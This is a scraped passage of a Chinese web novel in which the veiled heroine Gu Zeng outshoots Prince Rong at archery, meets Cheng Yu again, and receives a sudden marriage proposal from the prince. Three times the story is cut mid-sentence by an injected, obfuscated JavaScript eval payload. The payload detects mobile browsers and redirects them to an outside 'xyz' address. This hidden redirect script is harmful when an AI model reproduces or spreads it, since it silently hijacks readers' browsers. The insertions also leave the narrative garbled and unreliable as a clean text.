关风遥委屈巴巴地揉着两侧下巴骸:“荣王殿下那架势哪是要比试呀,根本是想要把人拖下去拷打一番嘛。顾娘子怎么说也是家中远亲,适才又替我出头,怎能放她一人承受荣王殿下的责罚?” 关夫人辛勤培养关风遥十几年,怎料她还是如此的不解风情,恨铁不成钢地白她一眼:“你懂什么,给我老老实实地在一旁看着。” 那荣王姜祐珏是何许人?他母妃可是后宫地位仅次于皇后的贵妃娘娘,论出身他可比当今的太子殿下还要高贵。 乾安帝已下旨让他迎娶南楚的和亲公主,可一个战败的敌国公主自然不能做荣王的正妃,乾安帝和贵妃一直在暗戳戳给他物色正妃的合适人选,这几乎是京城里众人皆知的秘密。 而说到选妃,这里面的门道多得很,不是那么容易能定下的。 如今贵妃家权势滔天,荣王又有了南楚皇室做衬,这位正妃若是出身太高,荣王势头便会压过太子,于朝局不利。 关夫人的玲珑心肠早就有了计较,当下只眯眼一笑。她拿不准别人是否能做荣王妃,但自认她这个无依无靠收养来的的表甥女就挺合适。 荣王其人二十有一,年纪也不小了,是因醉心军务才尚未娶妻。虽然听说他把神策军整得乱七八糟,但总之,醉心军务却是不假。 他在京城这么多年,从没听说他对哪家小娘子有意,甚至都没见过他主动和哪位姑娘说话,如今虽然和顾曾搭腔是找上了她的麻烦,但好歹是主动说话了不是? 都说少年人的情动只在一瞬,谁知道这麻烦会不会找着找着就变成横生的爱意了呢? 关夫人一向精明,算得清楚,相比荣王殿下,那唐鸿雪不过区区一千牛备身,该舍弃时便断不能再留。 顾曾被荣王拦住,心知除了应下比试这一条路外,没有别的选择。 她不觉得自己会输,可若真是赢了荣王,以后的日子想必免不了鸡飞狗跳。她隐姓埋名了这么多年,不想一朝出了风头便暴露了真实身份,若再有那有心人顺藤摸瓜将林霜和傅岚牵扯进来,便是大大的得不偿失。 可她隐隐又有预感,乾安帝把她弄到京城来的目的就在于此,那她还有何躲躲藏藏的必要呢?姜祐珣叮嘱她要他们见识见识西北军的风采,是否早就料到她此刻的处境了呢? 若真要一鸣惊人,今夜正是绝佳之机。 顾曾只犹豫一瞬,会心一笑,小宸王从来不轻易允诺什么,他既说会护她安虞,那便一定会。如此,她只需负责闯下一堆烂摊子,统统丢给他收拾就是。 她心一横,展臂行下一礼:“请荣王殿下赐教。” 荣王冷笑一声,取下背上的大弓,眸间满是桀骜:“身姿不错,倒教本王看看你有几分几两。这弓冷硬,你身形纤细,能拉得动么?” 顾曾默不作声地接过那把比她半个身子还长的雕龙角弓,振臂一拉,弓身微微蜷曲,指尖抚过弓弦时发出一阵脆鸣。 “好弓。”她笑道,“殿下请让人布侯吧。” 荣王颇为意外地挑了挑眉梢,他这把神弓相当硬,挽满时能透甲破盾、百步穿杨,想不到竟被这女子轻松驾驭,心中更加觉得她来路不明。 宫人知道荣王好斗,不敢有怠,忙把楼下庭院的闲杂人等清空,将那绣着巨蟒的侯标放置到了寻常的三倍远。 荣王板起脸,明显认真了起来,手中抄起一支白翎箭,双臂缓缓拉出一个满弓,引得众人侧目叫好。 箭身“嗖”的一声离弦,他却微眯起眼睛,眼中未见笑意:“这位娘子,兽首两只眼,本王与你各取一只,谁先失手便算作谁输,如何?” 片刻后,宫人的叫好声远远传来:“中了,荣王殿下中了巨蟒右眼!” 顾曾见他成竹在胸的模样,只觉有趣。荣王殿下千挑万选,选了个她最拿手的技艺,她自然不能让他失望,遂冷冷一笑,也抄起一支箭:“奉陪到底。” 她一把将弓从荣王手中夺来,堪称蛮横,只隔着幂篱瞄了一眼,刹那间便射出一箭。 箭身激起疾风,微微卷起幂篱下摆,顾曾不待宫人传讯,只将弓在指上轻巧地打了个转,像挽剑花一样递还给荣王,笑道:“殿下,看来要再比一局了。” 话音刚落,便听宫人尖利的声音传来:“这位娘子中了左眼!” 围观的诸人目瞪口呆,大部分人甚至没看清她是怎么挽弓的,只觉她动作一气呵成如行云流水,没想到在准头上居然也如此之高。 荣王面沉如霜,几不可闻地冷哼一声。 其实在他看来,自己已然输了,他一个大男人和人家小娘子比武已是胜之不武,虽同样中彩,挽弓却不如她利落,而她甚至还戴着幂篱。 他短促地笑了一声,眸间的寒意更甚。 四下寂然无声,只有姜礿还敢在这种时候拊掌大笑:“实在是精彩,竟然是平局,这位娘子好样的!四哥你羞也不羞,快继续比,我还要看。” 姜礿这种被宠坏了的混世魔王,若不合了她的意怕是能闹得天翻地覆。荣王正好也有意试探这位神秘的幂篱娘子的底细,便沉声招呼宫人:“侯标布得再远些,布三个,再放个纸鸢上天。” 宫人依样照做,有几个看热闹的公子哥揉着眼睛惊叹道:“亲娘咧,这也太远了,我都快看不清侯标上的兽首了。” 依旧是荣王先行,他不敢懈怠,箭无虚发,次次有准头,每支箭皆正中兽首的右侧眼球,引得满堂喝彩。 只是在射那纸鸢时,好巧不巧有一阵疾风穿过,将天上的纸鸢吹偏了几分,他这一箭便只射中了鸢尾。 虽然满座皆赞他英武,甚至还有人说要为他赋一首《箭论》,荣王依旧好一番捶胸顿足,忿忿地撂下弓,面色阴沉得可怕。 顾曾接过他手中的弓,见着他在一旁如顽劣小孩一般发脾气,火上浇油地讥笑道:“殿下输不起么?” 荣王怒道:“谁说本王会输?!” 顾曾冷笑一声,凭心而论,她承认他的箭术可称上等,但是想要做她的对手是远远不够的,起码得去西北战场上滚上几圈才勉强配吧,但转念又一想,人家是皇子,又不用真上战场,秋猎时出出风头,够用了。 既然已得罪了这位殿下,顾曾打算得罪得再彻底一点,到时候托姜祐珣救她时,说不定还能看看宸王大战荣王这出戏,想想也挺有意思的。 她铁下心要打压荣王的傲气,遂将那弓于空中一抛,竟当空换了只手,这次用右手持弓,左手则反手抄过五支箭羽。 荣王果然面色一变,一副受了奇耻大辱的模样:“你……” 顾曾没理他,旋身而动,幂篱下白纱翻飞,清楚无遗地露出她的杀气凌然的一双眼,而她无知无觉,眼中只有雪亮的箭尖。 荣王却莫名愣怔了一瞬,顿时羞惭得无处遁形。他听声音便猜测她是个年轻的小娘子,却没料到她竟然如此年轻,还带着只有年轻人才有的傲气,再去细看之下,她甚至还有点意料之外的好看。 姜礿哇哇大喊:“这位娘子姐姐,你骗人!你明明俏丽得紧,才没有花妆!” 顾曾充耳不闻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649369|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白纱飘荡,她手中三箭连珠而发,侯标上顷刻应声而响,传来了三声沉闷的中靶音。 而后她纤腰一展,身躯向上微扬,手中余下的双箭已分别对准了纸鸢的双眼。 荣王这把弓果然硬得很,弓弦挽得太满,她的右臂已紧绷至微微颤栗,携着一阵隐痛,不过这并不影响什么,她早就苦练了左手的技艺。 晚风拂过,纸鸢随风上下挣扎,似是不愿成为她的猎物。 顾曾即刻便调整了方位,双箭齐发。这也是为何她觉得荣王的箭术还不够格,在战场上,没人会干站着等人来射。 所有人都看得痴怔了。 箭身恍若化身两只白鸟,啼鸣而去,分别洞穿了纸鸢的双眼。一支稍低些,撞到了宫墙处的琉璃瓦上,发出一声清亮的铮鸣;另一支则堪堪擦着院墙,朝宫门外去了! “哎哟坏了,光想着出风头,力气用太大了。”顾曾心道,“虽然这箭已经泄了劲,但总归还是能伤人。若是真伤了人,也不知姜旬能不能把我从刑部大牢里捞出来。” 关风遥在一旁看得眼睛都直了,关夫人更是惊得下巴要掉到胸口。 荣王的武艺是皇子中最出类拔萃的,尤其在箭术上的造诣堪称出神入化,怎么会如此轻易地在这名不见经传的小女子手中败下阵来? 事已至此,关夫人的首要任务已不再是去“帮助”顾曾俘获荣王的芳心,而是去细细调查她的来历,看看她究竟是何方神圣,或是带她去大慈恩寺好好拜佛,请长老师父们瞧瞧她是不是染上了什么邪祟,才得了什么“力拔山兮气盖世”的异能。 在姜礿的拍手叫好声中,顾曾故意清了清嗓子才敛衽颔首,对荣王抱拳,语气一点也不谦虚:“殿下,承让。” “好、好……”荣王不知自己是气恼还是什么,只觉胸口中仿佛有万马奔腾,连喘了好几口气也没说下去。 他本想说“好你个敌国奸细”,但转念一想,就算人家娘子胜过了他,他也并无怀疑她的证据,此事若真闹到皇帝那里,保不准他还要挨上一顿臭骂,那岂不是更加丢人。 顾曾轻声一笑:“多谢殿下夸奖。” 荣王气得几乎嘴歪眼斜:“我我……我没在夸你!” “荣王殿下,”顾曾不知收敛地一笑,敲了敲他先前撂在案上的那把佩剑剑鞘,语气略带讽意,“这神策军的将军剑太过贵重,殿下敢送,小女可不敢要,还请殿下收回,日后也莫要逢人就‘送’剑了。” “你……!”荣王面色通红,心知自己输得彻底,不仅比试比不过,在和人吵架这种事上,他也远远不如这牙尖嘴利的小娘子。 他定了定神,一边想着老皇帝雷霆大怒的脸,一边找回了点身为皇子的尊严,决心效仿皇帝礼贤下士,可是眉宇间的傲气可以脱去,脸上的一番复杂神色却是怎么也遮掩不住。 半响,荣王终于肯认输了,却没收回将军剑,只颇为生疏地行了一道揖礼:“是本王失敬了,敢问娘子尊名。” 此刻恰听宫外传来几声“笃、笃”的打更音,天际的云散开来,露出高悬的明月。 月光似琉璃,清亮又澄净。 顾曾正要答话,宫门处却蓦然走来三个人影,一人气急败坏走在前方,两人闲庭信步跟在后头。 隔着老远便听当头那人叽里呱啦骂道:“滚出来!是哪个狗娘养的龟孙暗箭伤人,想要你爷爷的命么?” 他身后一人身着墨蓝长袍,颇为沉静古朴,一手负于身后,另只手执折扇,悠悠一笑:“楚兄啊楚兄,明明是你自己走路非要往那箭上撞,怎能怨旁人?” 先前那人怒道:“程怀瑾你站着说话不腰疼!” 顾曾挑了挑眉,心道:“程怀瑾,那不是程容与的哥哥么?那他身旁那个人……” 下一刻,如获至宝的姜礿已提着裙摆飞奔迎去,口中大喊:“容与哥哥!” 44.空自愁(十) 程彧昨晚不出意外又辗转反侧难以入睡了,今晨又被罚跪,再到下午打毬,一刻都不得消停。 他此时兴致缺缺,甚至意识迷离到想要踹前面的楚胜一脚,以报右肩上那一棍之仇。 直到一袭花香出其不意地扎进了怀里,叫他一口气险些没喘上来。 姜礿小脸一皱,嗔道:“容与哥哥你来得好晚,否则便能看到四哥同人比赛射侯了。你不是一直嚷着说要看四哥露一手么,如今四哥好不容易从神策军出来一趟,你偏偏还错过了,你说这怨谁?” “小琳琅啊……怨我怨我。”程彧不用听声就知道是她,捏着眉心,慢吞吞地应了一声。 也不知皇帝这位千金图他什么,自打记事起就喜欢跟在他后面跑,对他比对自己那几个哥哥还亲近。承此厚爱,程彧每每敷衍她时都自觉问心有愧。 可再有愧,姜礿也长到了该设男女大防的年纪,为了不叫人说闲话,他也不敢和她走得太近了。 当下,他一动也不敢动地被她抱着,低头敛目,甚至不敢多看她一眼,只哄她道:“你先松手。” “我不松!”姜礿抱得更紧了,“上次王妃嫂嫂设宴,你出现了一下就走了,我都没来得及同你好好讲话,这次你不许走!” 程彧苦笑着耸了耸眉,身躯僵得像块木头,只有眼睛还敢四处乱瞟。 见他不知所措地投来个求助的眼神,程彣在一旁轻咳两声,含笑开了腔:“琳琅殿下,有我看着容与呢,绝不叫他提前离席,你就松开他吧。再说他今日身上还带伤,叫殿下这样箍着想必吃痛。” 姜礿闻言赶紧松手:“啊……容与哥哥对不住,弄疼你了么?” 程彣说的话她一向是信的,只是对上次的事仍心有余悸,便死死抓住程彧一侧袖角,坚决不让他脱离自己视线,仰头见程彧果然脸色不大好,嘟嘴问道:“容与哥哥几时受的伤,是被楚公子误伤的那一下么?” 楚胜本人就在前方,听着此话差点当场平地摔。 他不自在地冷哼一声,干脆抛下几人,疾行上前给荣王给安,人至荣王面前已换了一副嘴脸:“早听说殿下射艺无双,今日一见果真名不虚传,适才那破空矢当真气势雄浑。” 荣王面不改色,偏过头冷冷道:“谬赞不敢当,那箭可不是我射的。” 楚胜一听不是他,顿时松了口气,却不打算轻易原谅此事了,想到自己刚刚的狼狈模样便心头火起,扬声喝道:“那是何人?” 这时,人群中站出一个头戴幂篱一袭青翠的女子,对他叉手一揖:“是小女,这位公子,多有得罪。” 声音颇为冷静,从这短短几句致歉的话中也听不出她有多少诚心。 楚胜瞄了她一眼,叫嚷道:“好哇,大老爷们都躲到女人后面不吱声了!究竟是哪家的好男儿自己不敢承认,反倒要人家小娘子来替你遮掩赔罪?” 他骂骂咧咧时,身后三人堪堪走近。 姜礿像个小鸟一样围在程彧身边叽叽喳喳:“容与哥哥,南楚终于要把那个和亲公主送来了,你要不要同我一起见见?” “……”程彧又揉了揉眉心,“我见她做什么?” “听说她极美极美,有天仙姿容,你不想见见么?”姜礿不死心道,“你下次来公主第找我玩嘛,我带你去找她。” 程彧垂眸:“没兴趣。” 眼见姜礿不悦地撅起小嘴,程彣忙帮着解释:“琳琅殿下,南楚公主是要嫁给荣王殿下做王妃的,容与跟着去凑什么热闹?” ……还嫌世人骂他不够多么? 程彧十分赞同地点点头,眼神满是疲惫,唇角却流利地勾出戏谑一笑:“是啊,没人要的小娘子我可以多看几眼,这定了亲的,我还是……” 他突然便不说话了。 姜礿离他最近,几乎是立即便留意到他呼吸一滞,而他本就不佳的脸色此刻就如被人生生抽去了三魂六魄一样,变得惨白无比。 再去牵他的手,发现他已是冷汗涔涔,指尖也在微微发颤,姜礿登时急道:“容与哥哥,你怎么了?哪里不舒服?” 程彧扶着额,吐出一口火热的气,苦笑道:“我哪里都不舒服。” 他只道自己失了神智,竟凭空看到了幻境,当下用力眨了眨眼,又像捶仇人一样猛拍了自己额头几下。 好了,这下脑子总该清楚了。 一睁眼,发现那人居然还在,虽然她根本没在看他,又戴着幂篱,可每一下举手顿足都带着说不出的熟悉。 越看越像,越看越移不开眼。 程彧只得对程彣扯了扯嘴角:“哥,我们回去行不行?我觉得我不太对劲,可能是疯了。” 程彣还没弄明白怎么回事,姜礿立即道:“别走别走!” 她此刻生出一股大力,拉着程彧踉跄几步到荣王面前,说道:“容与哥哥,方才四哥就是和这位娘子比赛箭术的。她好厉害,四哥输得可惨了,简直毫无还手之力。” 荣王脸上一红,摆出一副臭脸:“哪有你说的那么玄乎?” 楚胜在旁听着也是一惊,想不到方才那一箭还真出自眼前这个其貌不扬的小娘子。 细看之下,他这才发现此人虽叫白纱遮着面容,但身段窈窕,又带着一股挺拔如松的风姿,想必容色不差。 他心中一笑,若是能让她将幂篱摘下,叫他饱饱眼福,或许他能大人不记小人过,不与她多计较。 楚胜这般想着,脸上已挂上一丝小人得志的笑容,正在搜肠刮肚地想说辞,身旁居然有人比他还心急,竟直截探出了一只手去掀人家娘子的幂篱! 人都站到自己面前了,程彧终于相信,这并不是幻觉。京城里没人能在箭术上胜过荣王,那便只有一个可能了,就是她。 此刻,他的四肢百骸都软得不听使唤,不由得心道:“阿曾可是专程来看我的么?她是来找我赴约的么……” 他一言不发,痴怔着探出手去,就这样在众目睽睽之下撩开了她半截篱纱。 大概是鬼迷了心窍,顾曾没有躲,且摸着良心也自认没有躲的必要。 她堂堂正正站到此处,堂堂正正与荣王比武,又不是为了他程容与来的,她为何要躲? ……就是这腿怎么不听使唤地定住了? 还有,心怎么跳得怎么如此快? 倏然,眼前有道白光闪过,啪的一声,只见一只润泽的白玉戒尺生生将程彧的手打落开来。 一脸铁青的程彣手握戒尺,怒斥:“程容与你休要放肆!” 他七窍玲珑,不过片刻已全然看清原委——眼前这女子,大抵就是那位靖安郡主了,也就是让他弟弟发昏的罪魁祸首。 他心中虽恼,却仍不失礼节地对顾曾莞尔一揖:“给这位娘子赔罪,舍弟这混账性子多年也改不了,真是失礼,教你看笑话了。” 顾曾这才回过神,猛咬了一口舌尖,长长舒出一口气来。 也不知自己方才受了什么蛊惑,竟险些在众人面前被这家伙勾去了魂。 此刻她神智尚算清明,欠身笑道:“世子说笑,二公子想来是在与我玩闹。” 没什么大不了的,没什么可遮遮掩掩的,只要落落大方便好。 顾曾舒出一口气,踏着虚浮的步伐往前半步,站到了程彧面前,平静地仰起头,隔着薄纱对他浅浅一笑:“二公子别来无恙。” 朦胧间依稀可见,程二公子的模样在这两年间大致未改,面容稍稍清晰硬朗,眉宇间多了几分凌厉,看上去的确脱了几分稚气,但打扮得还是那样顽劣不羁,可见本性难移。 她忽然有些惆怅,程容与没怎么变,可她自己呢,是变美了还是变丑了?瞧程容与这装聋作哑的模样,这混蛋该不会已经忘记自己了吧? 荣王和姜礿几乎是异口同声惊道:“你们认识?” 姜礿还小声嘀咕:“容与哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15661739|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥怎么从来没和我提过他认识这样一个姐姐,几时相识的?” 程彣适才打那一下的力道极重,程彧的手背此刻仍是火辣辣的疼,先前再如何神智不清也渐渐缓过神来,不忘向程彣投去一道感激的目光,感慨还好有他兄长在,否则他定会当场失态,把他二人拉入无休止的口诛笔伐中。 他偏头对姜礿一笑:“小琳琅,你怎么能信旁人不信我?” 又侧目瞧了顾曾一眼,眼角眉梢吊上一层戏谑的讽意,讥诮的话堪称熟练地脱口而出:“咦,这位小娘子,我们认识么?是在哪里见的?我想不起来了,不然……你提醒一下我。” “……”顾曾一个晃神,那一瞬在心底将他的话咀嚼了数遍,感觉十分微妙,既如被浓密如雨的细针扎过,又似在骄阳下曝晒了三天三夜,内外都不留一点儿好皮。 可奇的是,她不觉得疼,只觉一阵难以名状的难过。 其实她心如明镜,这家伙嘴上说着不认识,可那灼人的目光已经快把“口是心非”四个字牢牢刻在脸上了,她又不瞎,自然能读懂。 说到底,此事的确是她鲁莽,只念着故人重逢,却不曾多想,若在这种时候牵扯出和程二公子的一段旧事,难免会被有心人利用。 她心如明镜,她什么都明白。 可她又不明白,明明知道不该如此,却为何会不由自主地失了神智? 更匪夷所思的是,她也搞不清自己为何会难过。 孤身一人时,她心里总是惦记他,怕他因为帮了自己而受苛责欺侮、防不住明枪暗箭,还自作多情地怕他在京城过得不自在,可真到此人如她所愿站到身前了,见到他如此泰然自若、顾盼风流的模样,忽然之间,她反倒不知该如何面对。 程二公子其人虽然桀骜不驯、无法无天,但是老天造物的原则便是一物降一物,他的克星如今就站在他面前,带着一脸心如止水的平静,静到让他有几分心虚。 他有点慌了,稍稍收敛了脸上的坏笑,低声道:“这位娘子……你你你说句话?” 可顾曾仍是没再开口,脑海中却突然跃出了一道想法——既非同路,难留心上。 诸烦恼生,必由痴故。可痴念来去,最后还是要两手空空,那还有什么可执着的呢? 她兀自复述了几遍之后,恍惚间有种百川终归于大海的豁然开朗。 很快,她复归清明,眉宇间也看不出什么波澜,只轻笑道:“曾同二公子说过几句话罢了,其实连我也不记得说了什么,二公子想不起来也是情理之中。叨扰了,告辞。” 她不顾众人的窃窃私语,转身便走,几乎可以料到这些人在说什么,无非是笑话她痴心妄想攀高枝,笑她不自量力。 其实他们说的倒也没错,这次的确是她栽了,还栽得不清不楚、莫名其妙的,但她决心知错就改,自此后再也不瞎做白日梦。 她将幂篱胡乱围在颈间,心想要是前面有个空坟就好了,她保准一脚踏进去,在里面修个七八十年的道,待到能做到清静无为了再爬出来。 哪至于像现在这样乱了方寸。 不过只走了几步远,顾曾忽感身后扑来一阵凛然的疾风。 来者不善,她大骇之下还来不及躲闪,便觉腕间重重一沉,来人下手毫无分寸,险些将她的半个肩膀生拉硬拽地卸下来。 “这位娘子留步,”荣王死死攥住她,沉声道,“还请留下尊名。” 众人一副没眼看的神情,这一向稳重自持的荣王今夜不知发什么疯,竟在上百双眼睛的注视下,追着人家小娘子乱跑不说,还直接摸人家手腕。 顾曾正烦着,被他这一出直吓个半死,猛然抽了两下胳膊,怎料荣王那手就跟烙在她手腕上了一样,居然纹丝不动。 她正在思考要不要破口大骂,荣王的身后却探来一双满是刀锋的眼。 程彧面沉如霜地一声断喝:“姜祐珏,还不快给我松手!” 45.与君酌(一) 连乾安帝都甚少这样直呼荣王的大名,不论是何原因,他的眉眼已先脑子一步做出了反应,竖成一副瞠目欲裂的模样,喝道:“程彧你又发什么疯,作死么?” 他的脑子更加捋不清,这程容与平日里和他玩得好好的,就因为他今日没来参加马毬赛,至于恼成这样么? 虽然荣王今晚正打算就此事向程彧赔礼道歉,可一码归一码,这并不代表他愿意做个不清不楚的受气包。 顾曾飞快地瞟了一眼程彧,见他浓墨重彩的五官此刻已经明显拧成了一团,堪称毫无形象。 于是赶在他当真“作死”之前,她作大死地先出手了。 荣王正忙着跟程彧大眼瞪小眼,忽听那杨十郎破锣般地吼了一嗓子“殿下小心,这女子打人十足十的疼”,心中一惊:“好啊,竟然敢跟他动手?” 他兴奋起来,长这么大,总算可以真刀真枪地与人打上一架了,一时间也不管他对面是小娘子还是老糙汉,有什么事也得先打完再说。 他是远远看见过顾曾的身手的,深知她不好对付,当下也不敢托大,几乎是立刻便反应过来,然而眼锋将将扫过半边身子,连她的人影还没看清,左腕处却倏地一热。 他暗道“不好”,来不及躲闪便猝不及防被顾曾彻底拿住,耳畔“喀拉”一声响,左肩处随之传来剧痛。 荣王眼前一黑,险些哀嚎出口。 这女子竟然真敢动手卸他一条臂膀!还是单手!岂有此理!!! 他不由自主地松开顾曾,又惊又怒地朝她瞪来,乌黑的眸中还携着几分委屈。 顾曾被他那眼神激得怜香惜玉起来,顺手一托…… 又是“喀拉”一声响,荣王的眼前又黑了一瞬,眼眶也跟着一润。不过待他扭头再看时,左臂已被推正归位。 他扶住左肩,死死咬住下唇,脸上一阵阴晴不定,朱红色的抹额已被冷汗打湿,额前氤氲一片,好半天才狼狈开腔,说的却是一句不轻不重的“你、你做什么”。 顾曾直叹气:“殿下,你来拦我的时候不也是这样蛮横么?自己都受不了的苦强加给别人时倒是不曾犹豫过?” “本王……”荣王突然磕巴了起来,“本王就是想问清你的名字而已!” 顾曾顿了一顿,抬手将幂篱取下,借机瞟了他身后一眼。 不瞧不打紧,这一看却叫她浑身不舒服了起来——某些家伙怎么回事,怎么越看越……俏得如此乍眼?! 她赌气似地把头别开,才想起对荣王欠身,自报了家门。 她身上有种刀刻斧凿过的锐气,尤其是一双冷月似的眼睛,满怀锋芒,亮如雪光。 除了他父皇,荣王还没见过谁有这般不怒自威的气势。不自觉间,他连呼吸都小心翼翼了起来,生怕一个眨眼、发现这位娘子真是他父皇变的。 而人一旦忘记呼吸,脸和耳根便跟着红了。 他身后的程彧偏又在这个时候跟着添乱,莫名其妙地哂道:“喂,问名字便问名字,咱们荣王殿下又脸红什么?” 也不知此人今天究竟吃错了什么药,追着他冷嘲暗讽,忒可恶! 荣王回身摆出个恶狠狠的表情,还没来得及说出什么重话,已“嗤”的一声笑了,反唇相讥:“程容与,你又脸红什么?笑话我也能让你兴奋成这样?” 程彧枕着扬起的双臂,侧身遮住自己上扬的唇角:“看你吃瘪我就高兴,你越不爽我就越高兴。” 而这些人中,最兴奋最高兴的还当属姜礿。热闹看了一晚上,她还是头一次见程彧笑这么开心,更是难得看到她四哥这副窘迫的模样。 她忽然便想让这位顾娘子多留一会,蹦哒到她面前:“顾娘子,你真好看,我喜欢你!以后多来公主第做客好不好?我请你吃酪梨——” 没完了——还有完没完了?! 顾曾几次三番被人拦住去路,想仓皇逃窜的心早没了一大半,刚刚丢掉的脸皮也浑水摸鱼般自行长了回来。 她露出个端庄得体的微笑,不紧不慢对公主行礼:“多谢殿下相邀,不敢推辞。” 姜礿激动得直踩小碎步:“太好啦!四哥、容与哥哥,你们都听到了么,以后顾娘子要来我府上玩,你们也要常来找我。” 小公主尚未意识到自己说了什么了不得的话,但见她四哥的耳根更红,而程彧的脸色却突然变得难看起来,这才开始反思……她说错什么了么? 不过小公主金枝玉叶,被所有人捧在手心里长大,最不擅长的便是揪自己的错,干脆还是简单地把源头归到了顾曾身上——一定是她对这位顾娘子还不够热情! “顾娘子留步!”逃跑未遂的顾曾又被她捉住,姜礿对她好一番端详,终于看到了她头上那只紫玉琉璃花钿,赞道,“娘子你这花钿真别致,是哪家的铺子打的,竟比宫里的还好看。” 话题转到此处,那可就到了关夫人可以滔滔不绝发挥的地方。 她拉着关风遥于此时恰到好处地出现,先把不情不愿的关小娘子往程彧面前推了两步,又转身打着扇对姜礿道:“琳琅殿下好眼光,这是我家阿曾一点不足为道的嫁妆。” 她一气呵成地扬声道:“今儿个叫诸位见笑了,这位顾娘子呢就是我家阿遥的表姐,自小就跟寻常女孩儿不同,身手很是了得,与荣王殿下投机倒是实在有缘。” 几位同她交好的夫人一下便猜透了她的心思,附和道:“的确缘分不浅。” 程彧把目光越过关风遥,猝不及防地与顾曾对视了一眼。二人的目光一触即分,可又如干草粘上了丁点的火星,迅速便烧得他如临渊火。 迷迷糊糊间,他仿佛又回到了那一夜——他把两朵琉璃花钿簪进她满头银饰中,月光倾落,衬得她清冷又柔和;那一宿的后半夜,她太累了,甚至倚着他的肩迷迷糊糊地睡了一阵…… 顾曾收回目光,虽然不知他在想什么,但心里仿佛被什么东西轻轻啮咬过一圈,这滋味着实……奇怪。 她不自在地抬手抚上花钿,摸索了半天却只寻到了一颗,便将仅剩的那个取下,摊在了手心:“琳琅殿下若是喜欢,赠予殿下便是。” “当真?”姜礿眼睛一亮,也从头上取下一支华美别致的攒金彩蝶簪,“那我和娘子换吧。” 顾曾正要应“是”,却听程彧急匆匆喝道:“姜琳琅,不许换!” 姜礿哪里经他这样呵斥过,霎时泪光盈盈,委屈道:“容与哥哥,为何不许?” 程彧不答话,脸色却沉得骇人。 顾曾瞄了他一眼,又对上他懊恼的眼神,在那一刻倏地明白过来——这东西莫不是他留下的,是他送给自己的? 姜礿的视线在他二人之间来回游移着,总觉得自己好像做了什么天大的错事,竟把昔日对她温言善语的程彧气得脸色如此之差。 她细细回忆起来,这只攒金彩蝶簪是皇帝赏的,程彧也没夸过它好看精致,实在想不通他怎么今日将它当成了个宝贝。 程彣约莫是在场除当事人外唯一想明白的人,心思一动,清了清嗓子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674454|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当即出来替程彧打圆场:“琳琅殿下,陛下自是不吝赏赐你奇珍异宝,但你若赠与这位娘子,她又怎好戴这御赐之物?如此一来,这好好的金簪若入了顾娘子手中怕是再难见天日。” 姜礿被他唬得一愣一愣的,恍然大悟:“怀瑾哥哥你说得对,是我莽撞了。” 她把金簪插回发髻,“顾娘子,父皇赏我的东西的确不能拿来和你换,那你先收好你的花钿,改日我去寻个一样精致的再来找你。” 顾曾应了“是”,心道:“差不多也该结束了吧。” 敛衽间她正欲告辞,一直候在一旁等妹妹说完话的荣王又来了:“顾娘子留步——” 这兄妹两个,轮番上阵,真是没完没了了!尤其是这个姜祐珏,名字也告诉了,脸也给看了,究竟还要怎样?! 顾曾有气无力地掀了掀眼皮,笑容难看至极:“殿下请讲。” 荣王虽然堪堪保持住了面上的平静,内心实则仍如野马脱缰。 他虽然高高在上,但自幼习武道,信条中有一条便是“愿赌服输”,当下在众人的目瞪口呆中弯身一拜:“顾娘子,今日本王……我无端寻事滋扰你的安宁,原是因为我见识短浅,总道我是京城武艺、箭术第一人,心中对娘子不甚服气。今日得遇娘子方知人外有人天外有天,实在是本王……是我先前蒙昧不堪,盼娘子海涵。” 都说贵妃所出的四皇子是个“凶神”,自小就不爱笑,浑身上下唯一与“荣”这个封号相关的就是那常年不离身的一袭红衣,不曾想,倒是个坦诚直率的家伙。 顾曾挑了挑眉,这次颇为真诚地对他回了个礼:“殿下言重。” “顾娘子……”荣王微微欠身,迈开一步至她身前,红袍随风而动,一道同样朱红的抹额发带飘扬至她肩头,漆黑明亮的眸子定定落在她脸上。 顾曾有种不详的预感,而程彧此时或许和她心有同感,在一旁气急败坏道:“姜……唔……哥你松……” 全大昭最无聊的一群人正凑在一起看他的戏,荣王却万籁过耳浑似不见,朗声一笑,说道:“顾娘子有风月之姿,本王姜祐珏对娘子一见倾心,择日定登门求娶。于此立誓,此一生唯念顾娘子一人,愿与君白头相伴度余生。” 人潮鸦雀无声,风妩媚又戏谑地吹过。 众人皆看出荣王对这莫名冒出的小娘子与众不同,但无人能料到尊贵煊赫的四殿下竟直截放话说要求娶,就算是吐出“白头相伴”这种土到没边的情话竟也不带一丝犹豫。 